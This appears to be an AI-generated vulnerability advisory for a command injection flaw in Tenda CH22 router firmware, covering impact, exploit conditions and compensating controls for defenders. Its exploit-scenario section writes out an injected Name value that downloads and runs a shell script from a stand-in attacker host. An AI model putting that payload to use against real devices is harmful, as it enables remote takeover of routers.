Exploitation Conditions

The attacker must hold low-privilege authenticated access to the Tenda CH22 web management interface (CVSS PR:L). The /goform/CertListInfo endpoint must be network-accessible - by default this is available on the LAN-side interface; exploitation from the WAN requires remote management to be enabled, which is a non-default but commonly misconfigured setting on consumer routers. The formCertListInfo handler is a core firmware function rather than an optional module, so no special device configuration is required beyond standard factory firmware. Exploitation is gated solely by the PR:L authentication requirement; in practice this barrier is frequently trivial to clear on Tenda consumer devices due to well-known default credentials. No user interaction on the device or by another user is required once authenticated, and no specific attack preparation is needed given the low-complexity AC:L rating.

Impact

The CVSS 4.0 score of 7.4 is well-grounded in the observable characteristics: network attack vector, low complexity, no special prerequisites, and high impact across all three pillars of the CIA triad - fully consistent with a remotely triggerable command injection on an embedded router. The E:P threat metric in the provided vector confirms a public proof-of-concept exists, which substantively elevates practical risk beyond a purely theoretical score by enabling rapid weaponization by low-skill actors. No CISA KEV listing is present in the intelligence feed, suggesting mass exploitation has not yet been observed; however, the gap between PoC availability and KEV confirmation is typically short for trivially exploitable embedded device vulnerabilities. EPSS data was not provided, but given the public PoC, the low exploitation complexity, and the historical pattern of Tenda router attacks, even a mid-sized municipal IT team in rybnik operating edge SOHO devices should treat this as a near-term actionable risk rather than a low-priority theoretical finding. The PR:L requirement is a partial mitigating factor relative to PR:N, though consumer Tenda devices commonly ship with default or easily guessed credentials, effectively neutralizing this barrier in many real-world deployments. No conflicting signals exist between the CVSS vector and the vulnerability description.

Exploit ScenarioDerived

An attacker who has obtained low-privilege credentials to the Tenda CH22 web interface - via default credentials, credential reuse, or LAN-side access - submits a crafted HTTP POST request to /goform/CertListInfo with the Name parameter containing injected shell syntax such as Name=foo;wget+http://attacker.com/shell.sh+-O+/tmp/s;sh+/tmp/s. The router firmware passes the unsanitized value to a downstream shell invocation, executing the attacker-controlled commands with the privilege level of the CGI process. A public proof-of-concept demonstrating this technique has been disclosed via VulDB, enabling rapid reproduction by moderately skilled attackers without significant reverse-engineering effort.

AnalysisAIv1 – Aug 09, 2026

Command injection in Tenda CH22 firmware version 1.0.0.1 allows a low-privilege authenticated remote attacker to execute arbitrary OS-level commands by supplying a malicious Name parameter to the formCertListInfo function at the /goform/CertListInfo endpoint. The vulnerability carries a CVSS 4.0 score of 7.4 with high impact across confidentiality, integrity, and availability of the affected device. A public proof-of-concept has been disclosed via a VulDB submission and associated Notion writeup, materially lowering the exploitation bar; no vendor-released patch has been identified at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis - monitor https://www.tenda.com.cn/ for firmware updates addressing this CVE. As the primary compensating control, restrict access to the device's web management interface by placing it on an isolated management VLAN and explicitly blocking external WAN-side access to all /goform/ endpoints; this eliminates remote network exposure but does not protect against authenticated LAN-side attackers. Replace any default credentials immediately to remove the low-privilege authentication step as a trivially bypassed barrier - note this reduces but does not eliminate risk if other credential theft vectors exist. If the device firmware supports disabling certificate management functionality, disabling the feature invoking formCertListInfo removes the vulnerable handler from the attack surface at the cost of losing that administrative capability. Monitor outbound traffic from the device for anomalous connections as a post-exploitation indicator. The public PoC writeup at https://candle-throne-f75.notion.site/Tenda-CH22-formCertListInfo-387df0aa118580b4abfcffaf2fceb9ff should be reviewed to understand the exact injection syntax and inform firewall rule specificity.

Technical ContextAI · show details

The Tenda CH22 is a consumer-grade SOHO wireless router running embedded Linux firmware at version 1.0.0.1. The vulnerable code path resides in the formCertListInfo handler, exposed via the /goform/CertListInfo CGI endpoint - a pattern pervasive across Tenda router product lines where web form handlers invoke system() or popen()-style calls with unsanitized user-supplied input. CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component) identifies the root cause: the Name argument is incorporated into a downstream shell invocation without proper sanitization or escaping of shell metacharacters such as semicolons, backticks, or pipes. The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N confirms the endpoint is directly network-accessible, exploitable at low complexity with no attack requirements, and demands only low-privilege credentials. The /goform/ CGI endpoint family is a historically well-targeted attack surface on Tenda and comparable embedded device firmware, with numerous prior CVEs following the same injection pattern in adjacent handlers.

DescriptionCVE.org

A vulnerability was determined in Tenda CH22 1.0.0.1. This vulnerability affects the function formCertListInfo of the file /goform/CertListInfo. This manipulation of the argument Name causes command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.

Executive ViewAI

Why It Matters

Tenda CH22 router firmware version 1.0.0.1 contains a command injection vulnerability allowing any authenticated user-including those with low-privilege accounts-to execute arbitrary system commands, potentially compromising network traffic, device integrity, and availability. Affected organizations with internet-accessible Tenda CH22 devices face elevated risk, particularly as publicly available exploit code exists, significantly reducing the attack sophistication required.

Business Impact: High
Compensating Controls

Restrict network access to the affected endpoint via firewall rules; disable remote management interfaces where operationally feasible; implement strong authentication and multi-factor authentication for device administration where supported; segment affected devices from sensitive network resources; establish continuous monitoring for suspicious command execution patterns; evaluate device replacement if no vendor patch emerges within 90 days.
